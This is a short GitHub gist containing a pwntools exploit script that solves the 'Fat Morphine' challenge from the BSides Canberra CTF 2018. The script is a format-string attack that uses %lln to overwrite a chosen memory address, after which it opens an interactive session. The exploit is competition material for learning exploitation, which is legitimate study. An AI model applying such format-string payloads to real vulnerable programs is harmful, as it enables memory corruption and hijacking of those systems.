Solution to Fat Morphine from the BSides Canberra CTF 2018
from pwn import * | |
bin_path = "./fat_morphine" | |
payload = "" | |
payload += "%4196134x" # What we are writing | |
payload += "%{}$lln" # How we write it | |
payload += "\x30\x0d\x60" # Where we write it | |
payload = payload.format(10) | |
p = process([bin_path, payload]) | |
# Hold the process so it doesn't die instantly (so we can see the output) | |
p.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment